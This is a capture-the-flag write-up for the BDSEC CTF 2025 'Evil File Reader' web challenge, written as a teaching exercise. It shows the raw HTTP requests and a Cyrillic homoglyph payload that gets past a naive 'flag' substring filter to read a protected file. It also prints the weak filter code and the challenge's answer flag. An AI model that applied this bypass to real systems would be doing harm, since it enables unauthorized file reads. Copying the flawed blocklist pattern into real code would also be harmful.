📂 Evil File Reader — BDSEC CTF 2025
Category: Web | Author: BDSEC Team
Flag Format: BDSEC{something}
🧠 Challenge Description
You gained access to the server — nice work. A quick sweep shows nothing unusual, and
flag.txtis nowhere to be found. But we know the flag is there.Maybe you’re missing something… or maybe your tools are lying to you.
Some files hide in plain sight. Some characters look familiar but act very differently. Sometimes, a single byte can change everything.
🔍 Initial Recon
The web app presents a file-reading form:
POST / HTTP/1.1
Host: 45.79.9.104:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://45.79.9.104:5000
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://45.79.9.104:5000/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
filename=okayIn response:
⚠️ Error: [Errno 2] No such file or directory: 'okay'Looks like it tries to read a file directly from disk. Obvious first thought? Try reading:
filename=flag.txtBut the result was:
❌ Nice try! Blocked.So we hit a filter — not a file-not-found error. The server detected "flag.txt" and denied the request intentionally.
🧪 Hypothesis: Filtered Input
If the backend has a check like:
if "flag" in filename:
return "❌ Blocked"…then our job is to bypass this naive filter.
The challenge description hinted at:
“Some characters look familiar but act very differently.”
This screams Unicode homoglyph attack.
🔀 Attack: Homoglyph Bypass
We can trick the filter by replacing the a in flag.txt with a Cyrillic 'а' (U+0430) instead of the normal Latin a.
So instead of:
flag.txtWe send:
flаg.txt💡 It looks identical, but the backend sees it as a totally different string!
✅ Final Payload
POST / HTTP/1.1
Host: 45.79.9.104:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://45.79.9.104:5000
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://45.79.9.104:5000/
Upgrade-Insecure-Requests: 1
Priority: u=0, ifilename=flаg.txt🔥 And boom — it worked! The server returned the contents of the hidden flag file:
BDSEC{cd2342e6b6d40aa0b537e1e5e893b51c}🏁 Flag
BDSEC{cd2342e6b6d40aa0b537e1e5e893b51c}🧠 Takeaway
This was a Unicode filter bypass challenge. The server had a weak blacklist that could be tricked using homoglyphs — characters that look the same but are different bytes.
💡 Lesson:
Never use substring blacklists like
"flag" in input. Always use strict allowlists, and normalize Unicode input withunicodedata.normalize()or similar.
📚 Tools / Tips
- Use sites like Unicodeit.net or Python’s
ord()to explore homoglyphs.
✍️ Author’s Note
Shoutout to the BDSEC team for the sneaky challenge.
Props to my terminal for not betraying my eyes 🕶️
